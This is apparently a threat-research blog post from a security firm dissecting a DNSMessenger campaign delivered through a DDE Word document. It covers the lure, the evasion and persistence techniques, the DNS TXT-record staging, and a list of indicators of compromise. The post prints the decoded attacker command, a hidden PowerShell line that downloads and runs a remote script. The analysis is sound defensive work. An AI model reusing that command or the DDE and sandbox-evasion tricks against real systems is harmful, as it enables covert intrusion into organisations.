The Research, Analysis, and Intelligence Division (R.A.I.D.) here at PhishLabs interacts with a multitude of malware samples in our day-to-day operations. Occasionally, we come across a campaign that stands out from the rest. One such instance occurred recently when one of our Phishing Threat Monitoring service clients was targeted with DNSMessenger, a sophisticated, memory-based infection technique, which has been previously associated with a financially-motivated Advanced Persistent Threat (APT) actor group. Also notable is the delivery method – the increasingly popular Dynamic Data Exchange (DDE) protocol Office document attack. This delivery method has recently been adopted by actors ranging from nation-state APTs to spammers peddling downloaders and ransomware. In this article, we will examine this delivery vector and dissect the initial DNSMessenger payload.
- DDE attacks are gaining popularity as enterprise users improve their awareness of attacks that utilize macros. These documents tend to have relatively low detection rates compared to other document-based attacks.
- This attack campaign utilizes a notable amount of anti-analysis, anti-virtualization, and obfuscation methods to thwart analysis and evade detection. Strong anti-analysis has become the norm, particularly for targeted attacks where success depends on stealth.
- Memory-based attacks like DNSMessenger are becoming increasingly popular as they are more difficult for traditional anti-virus products to detect. While memory-based attacks are often referred to as ‘fileless’, they usually leave artifacts on the host machine, particularly if they create a persistent infection.
- This attack’s use of the DDE protocol for delivery and the inclusion of additional anti-analysis techniques differentiate it from previous DNSMessenger attacks and represent the ongoing evolution of enterprise-targeted attacks.
More than Macros
Users have long been taught to watch out for macros in Office documents to prevent the execution of malicious code in their environment. This is an important awareness measure as macros constitute the majority of document-based attacks. However, 2017 has seen the growth of another document-based threat - DDE attacks.
DDE attacks execute code by taking advantage of a protocol that is provided by Microsoft as a feature that allows data to be transferred between applications. The attack has been shown to be effective in Microsoft Word, Excel, and even Outlook via calendar invites. The attack works by accessing another application if it is already running, or starting an application if it is not already running, in order to retrieve the data to be updated. In the attack scenario, there is no update data, but rather, the attacker is seeking to execute a malicious command or application.
Attacking the Enterprise
A recent email submitted for analysis by one of our Phishing Threat Monitoring clients utilized one of these DDE documents to execute PowerShell commands which set the stage for execution of further malicious code. Let’s first examine the DDE document utilized as the initial infection vector before moving on to the infection itself.
The email lure in this incident was spoofed to appear as if it had been sent from a vendor that is used by the victim company. The email body consisted of a simple message: “Please review the new [redacted company name] security policies.” This was accompanied by an email signature which mimicked a real employee of the spoofed company, and of course, an attached document. The attachment was aptly named “Security_Policy_2017.docx.”
OOXML Office documents can be extracted like any other PK ZIP file to view the XML files contained within. Extracting the contents of Security_Policy_2017.docx and searching for “DDE” points us in the direction of the file at “word/document.xml.” Most DDE attacks to this point have used the DDEAUTO keyword to inform the Microsoft product that it should automatically update the referenced field. In this case, we see only the DDE keyword. In order to ensure that the fields are updated automatically when using DDE only, the following XML tag must be present: “<w:updateFields w:val="true"/>.” The recent spate of DDE attacks using DDEAUTO means that anti-virus companies are likely applying increased scrutiny to documents using this keyword. This may be the reason the actor in this attack chose to avoid DDEAUTO. Mitigation efforts for documents using DDEAUTO include changing settings in the user interface or Windows registry to disallow the automatic updating of fields. However, like disabling macros, this measure can create an issue for organizations that utilize DDE for legitimate purposes.
Going back to the code of Security_Policy_2017.docx, a manual review of the code found in the decompressed “word/document.xml” doesn’t yield any plain text PowerShell commands. Reviewing the XML that follows the DDE reference, we see several REFs to variables that contain the required field-arguments.
Figure 1. DDE Field-Argument References
To determine the values for these field-arguments, we need to find where they are set in the XML. The first field-argument for the DDE field is the application name which is associated with the source data that is to be updated. In this sample, “c” holds this data. This is where we would expect to see PowerShell referenced in some manner, whether invoked directly, via cmd.exe, or by another means. When we locate “SET c,” we note that there isn’t a plain-text PowerShell command, but rather a decimal-encoded string.
Figure 2. Encoded Field-Argument “c”
This string decodes to the following, providing us with the name of the application that will be displayed in the prompt to the user, as well as a PowerShell script and an interesting URL.
“C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden -C IEX(new-object system.net.webclient).downloadstring('https://goo.gl/NrLU1R'); # ”
Figure 3. Decoded Field-Argument “c”
The application that is referenced in this case does not need to be running or even exist, it just needs to appear like a reasonable application to launch. Ultimately, the prompt will ask the user if they would like to start the application “C:\Programs\Microsoft\Office\MSWord.ex,” but in reality, the sequence of multiple “..\” will traverse directories back to C:\ and then invoke C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe, the typical path for PowerShell v1.0.
Microsoft limits the length of the application name displayed in the DDE prompt. The fake path used by the attacker was one character beyond this limit, resulting in the diplay of "MSWord.ex" rather than "MSWord.exe."
The next field-argument, “d,” is meant to hold the name and location of the source file. When we locate “SET d,” we once again find a decimal-encoded string, which decodes to “Security_Policy_2017.docx,” the name of the file which we already have open. This is done to make the prompts that are presented to the user seem plausible.
Figure 4. Encoded Field-Argument “d”
The next field-argument, “e,” is meant to hold the portion of the source file that is being linked. This field is left blank as it’s not needed for the attack.
Ultimately, the DDE field and these field-arguments result in the display of several user prompts when the document is opened. Upon opening the document, the victim is presented with a prompt stating, “This document contains fields that may refer to other files. Do you want to update the fields in this document?” The user is unlikely to have opened they file if they were not interested in what the content might be so many users will click “Yes.”
Figure 5. DDE Prompt
Once the user agrees to update the fields, the Dynamic Data Exchange prompt is displayed to the user asking if they would like to start the application which is associated with the source data – in this case “C:\Programs\Microsoft\Office\MSWord.ex.” Once again, the user is often willing to click ‘Yes’ in order to view the data they are interested in. The task of starting Microsoft Word to do so is seemingly reasonable. As we saw earlier, however, Microsoft Word is not actually the application being invoked here.
Figure 6. Prompt to Execute Malicious Code
The final prompt is a seemingly innocuous notification that the attempt to retrieve the update data failed. There is no obvious indication that a PowerShell command has been run or that anything nefarious is going on. To the typical user, it likely just appears that their cohort has sent them an improperly formatted file.
Figure 7. Error Message
Ultimately, the shortened URL seen in the DDE PowerShell statement shown in Figure 3 above redirects to a file on a compromised site which contains the malicious PowerShell script to be invoked.
Figure 8. PowerShell Script on Compromised Site
So, there you have it - code execution in Microsoft Office with no macros, no OLE objects, and no exploits. But this particular attack packs some more surprising features.
More Than Meets the Eye
The script downloaded from the compromised site contains an additional gzip-compressed and base64-encoded PowerShell script within the $data object. We can modify the script to decode and decompress this object for us by modifying the last statement - “IEX $t;” - to read “Write-Output ($t);”. We then run the script, directing standard output to a text file. Doing this yields a more readable and very interesting script. We’ll now examine some of the noteworthy portions of this script.
You may have noticed that the DDE document doesn’t contain any of the anti-analysis or virtual machine detection that is common in macro-based attacks and other loaders. Such measures for this attack can be found in the second-stage PowerShell script.
The first thing the script does is determine the current position of the cursor. The script will sleep continuously until the cursor is moved. This measure is meant to stop the script from being analyzed in a sandbox where there is no user interaction and no automated mouse movements.
Figure 9. Mouse Movement Check
Next, the script checks the BIOS version and serial number and exits under certain conditions, including if it detects that its being run in VMware.
Figure 10. VMWare & BIOS Check
Following this BIOS check, several functions are defined which are used to calculate the cursor location and the speed at which the cursor is moving. If it is determined that the cursor is moving faster than the predefined threshold, the script will exit. This is meant to detect automated mouse movements that are commonly utilized in sandbox environments. Interestingly, this section of the script appears to borrow heavily from a BsidesLV presentation given less than a month prior to this attack. The script in question has been ported from Python to PowerShell. The version of this code in the malicious PowerShell script contains identical variables and function names and contains a variable that is initialized in the original Python version, but is not initialized in the malicious PowerShell script.
Figure 11. max_mouse_speed Function
Finally, the script checks the resolution of the monitor for the system it is being run on and exits if the resolution is less than 800 x 600. Modern systems are unlikely to have a lower resolution and such a low resolution may be indicative of a sandbox environment.
Figure 12. Display Size Check
More Compressed Code
Proceeding through the script linearly, we come to an object named $ServiceCode which contains a single-quoted here-string. The code between @’ and ‘@ is interpreted literally and the variables it contains are not replaced by their assigned values until it is invoked later. Note that this object strongly resembles the format, syntax, and compression used in the initial PowerShell script retrieved from the compromised site by the DDE document. The value of the here-string is then base64 encoded and stored in $stgB64. As we will see in the next section, the goal of this attack is to achieve persistent execution of this code.
Figure 13. Additional Compressed Code in $ServiceCode
The script we are examining contains a number of methods for establishing persistence. First, it uses the New-ItemProperty cmdlet to create a new key-value pair in the HKCU\Control Panel\Desktop registry key. The HKCU\Control Panel\Desktop key is typically used to store settings for the Desktop Wallpaper style, meaning it is typically innocuous and not likely to attract an analyst’s attention. The name of this new key is “OfficeUpdateService” and the value is the content of “$stgB64”, the name of the variable which stores the PowerShell code shown in figure 13.
Figure 14. New Registry Key-Value Pair Creation
This newly-created registry key-value pair is referenced shortly thereafter when a here-string is placed into an object named $stgC. This here-string contains code that uses the Get-ItemProperty cmdlet to retrieve the value of the OfficeUpdateService key. This value is then decoded and placed into an object called $stCode. The next few lines of code check for the existence of a mutex named “1100313370.” If this mutex does not exist, the code in $stCode is invoked. Note that the code now in $stCode is the same code originally stored in the $ServiceCode object. Also note that this code isn’t actually invoked at this point in the script. Rather the literal here-string is placed in $stgC, which is subsequently base64 encoded and placed in a new object named $eCmd.
Figure 15. Mutex Check
Next, a try-catch statement is used to create a new key-value pair in the Run registry key of either the local machine if administrative rights are available, or of the current user if they are not. The key is again named “OfficeUpdateService”, but this time it contains an invocation of PowerShell which runs the script stored in $eCmd. If creation of one of these keys is successful, PowerShell will run the script whenever the computer is started up. Following the discussion on persistence mechanisms, we will review the contents of $eCmd/$ServiceCode.
Figure 16. Persistence Registry Key Creation
Next, a function named Invoke-SchTask is defined which is used to create a scheduled task. The New-ItemProperty cmdlet is again used to create a key-value pair in HKCU\Control Panel\Desktop. This key is named “MSFT” - the same as Microsoft’s stock symbol – and contains a PowerShell statement which is designed to retrieve and invoke the expression previously stored in the HKCU\Control Panel\Desktop\OfficeUpdateService key. Next, the PowerShell version present on the system is determined. If the version is greater than 2, a scheduled task is created using the New-ScheduledTask cmdlet. If the version is 2 or lower, a scheduled task is created using schtasks.exe. In either case, the task is named OfficeUpdateService and is designed to execute the statement stored in the HKCU\Control Panel\Desktop\MSFT key upon start up.
Figure 17. Scheduled Task Function
Alternate Data Stream
The final, and perhaps most interesting, persistence mechanism is set up in the next function definition. This function is named Invoke-WMI-Pers and is used to store the contents of $ServiceCode in an alternate data stream and then execute the code contained there using Windows Management Instrumentation (WMI).
Figure 18. WMI Alternate Data Stream Function
Typically, data is stored within a file’s primary data stream, which does not have a name. The code in the Invoke-WMI-Pers creates a file named “Windows” in the ProgramData directory and stores the contents of $ServiceCode in an alternate data stream named “win.dll”. The result is a file that appears to be empty, but actually contains malicious code that is accessed and invoked later in the function. Alternate data streams are only accessible through PowerShell starting with version 3. Figure 19 shows the content of the primary data stream of the file named Windows, which is empty, along with the alternate data stream of the file named “win.dll”. Note that the alternate data stream now contains the same data as the $ServiceCode object.
Figure 19. Primary and Alternate Data Streams
Next, this function checks to see if the current user is an Administrator. If not, no further code in the function is executed. If the user is an Administrator, a command line template is created which decodes the script stored in the alternate data stream and places it into an object named $encCmd. WMI is used to execute the statement found in CommandLineTemplate upon Windows logon.
The malicious PowerShell script ends by invoking the WMI persistence function, the task scheduler function, and the code in the object $stgC. This runs the code in $ServiceCode for the first time and ensures that the persistence mechanisms are set up.
The Payoff - DNSMessenger
We will now examine the $ServiceCode object to try to determine what the purpose of this malware is. At this stage, the attempts to confuse the analyst intensify. Function and object names are all combinations of foreslashes, backslashes, curly braces, equal signs, and underscores, as shown in figure 20.
Figure 20. Obfuscation in $ServiceCode
Strings are base64 encoded and, in some cases, decode to a similar syntax as seen above. Replacing the functions, variables, and parameters with more meaningful names and decoding the strings helps to reveal the code’s functionality. It’s important in this case to decode the base64 strings first, since some of them decode to variables, which we will be manually renaming. After decoding the strings and manually replacing the object and function names with more meaningful names, the code becomes much more readable. We will now review some of the more important parts of the deobfuscated code.
Rather than a linear walk-through like we did with the previous script, we will work backwards through this script. The ultimate goal of this script is to execute a subsequent PowerShell script. Unlike the previous two scripts, however, the next PowerShell script is not embedded, but rather it must be retrieved. The Main function consists of an attempt to invoke an expression stored in an object that we have renamed $NextPowerShellScript. $NextPowerShellScript contains the results of another function that we have named GetNextPowerShellScript, which takes one parameter – an array of domains. The Main function and the decoded $DomainArray can be seen below.
Figure 21. Main Function
Figure 22. Domain Array
The function that we have named GetNextPowerShellScript simply returns the base64-decoded result of passing the $DomainArray and the string literal ‘stage’ to a function we have named CreateNextPowerShellScript. This function calls another function, renamed SelectRandomDomain, which selects a domain from the domain list shown in figure 22. It then builds a domain string which consists of a partial MD5 hash derived from the infected system’s BIOS Serial Number, the string passed to CreateNextPowerShellScript, a counter variable, and the random domain that was previously selected. Additional functions retrieve the A and TXT DNS resource records associated with the domain using NSlookup. A comparison is performed between strings calculated from each respective DNS record and, if they are equal, the contents of the TXT record – snippets of PowerShell script - are appended to the object which holds the $NextPowerShellScript. This process is repeated with the counter variable being incremented until the A record returns 0.0.0.0. At this point, the complete PowerShell script contained in $NextPowerShellScript is invoked in the Main function and the attack progresses.
Figure 23. CreateNextPowerShell Script Function
The attacker is able to place whatever PowerShell payload they wish in the TXT records and have it executed in memory on the infected device. TXT records are designed to hold arbitrary data and virtually anything can be stored in them. Since the script is also persistent, they could update the next stage payload at any time, until the responsible organizations deactivate the domains. The fact that there is no hosted content associated with these domains means it can be difficult to detect the malicious activity that is being perpetrated by abusing TXT resources records.
Other similar attacks have resulted in the download and execution of a fileless backdoor which can be used to exfiltrate sensitive data from the infected host. Some analysts refer to the entire infection chain as DNSMessenger while others have given individual names to the staging script analyzed here (Powersource) and the backdoor which has been observed loading next (TextMate).
Code artifacts suggest that the actor behind this attack was also responsible for a campaign last month which was distributed via emails spoofing the Securities and Exchange Commission Electronic Data Gathering, Analysis, and Retrieval system. That campaign also utilized a DDE document to download and execute a DNSMessenger payload from a compromised site. There are some notable differences between that campaign and the one analyzed here. This more recent campaign included:
- an email lure which spoofed a vendor used by the targeted organization
- a unique obfuscation method for the contents of the DDE document
- a modified invocation of the PowerShell executable from the DDE document which obscured the actual program being launched
- the use of a goo.gl short url to redirect to and obfuscate the location of the actual payload
- additional anti-analysis methods, including new heuristic sandbox detection methods
Each of the domains used in this DNSMessenger attack were registered the same day that the attack occurred using domain privacy services. A listing of observed domains and corresponding observed A records is available in the Indicators of Compromise section at the end of this article. Note that some of the addresses are not routable IP addresses. This is not an issue since DNSMessenger uses the TXT resource record to assemble its next PowerShell script. As noted previously, the non-routable IP address 0.0.0.0 actually plays an important role in the infection. Interestingly, one of the A records observed for multiple domains is part of the often-abused 184.108.40.206/16 network. IPs in the network have been observed in the past used for command and control for Cerber ransomware, Mazar3.0 Android banking Trojan, EITest, and others.
This incident is a vivid illustration of the fact that businesses are being targeted by sophisticated attackers who are quick to adopt new tactics, techniques, and procedures. DDE attacks are an increasingly popular way to target Enterprise end users via the very same document file types that they use every day. DNSMessenger is a sophisticated, fileless attack mechanism which utilizes a wide range of persistence mechanisms and covertly downloads malicious scripts through a unique mechanism. Both of these attack mechanisms are continuing to evolve through the addition of new techniques to thwart detection and analysis.
Indicators of Compromise
Network – Observed URLs, Domains, and A records
d-n.me (0.0.0.6 , 220.127.116.11 , 18.104.22.168, 22.214.171.124, 126.96.36.199)
d-n.pw (188.8.131.52, 184.108.40.206, 220.127.116.11, 18.104.22.168)
m4n.me (22.214.171.124, 126.96.36.199, 188.8.131.52, 184.108.40.206
m4n.pw (220.127.116.11, 18.104.22.168)
m4x.pw (22.214.171.124, 126.96.36.199)
mx0.pw (188.8.131.52, 184.108.40.206, 220.127.116.11)
xx0.me (18.104.22.168, 22.214.171.124)
xx0.pw (126.96.36.199, 188.8.131.52, 184.108.40.206)
Host – Observed Files and Registry Modifications
- Empty primary data stream
- win.dll alternate data stream contains PowerShell code
Persistence Registry Keys: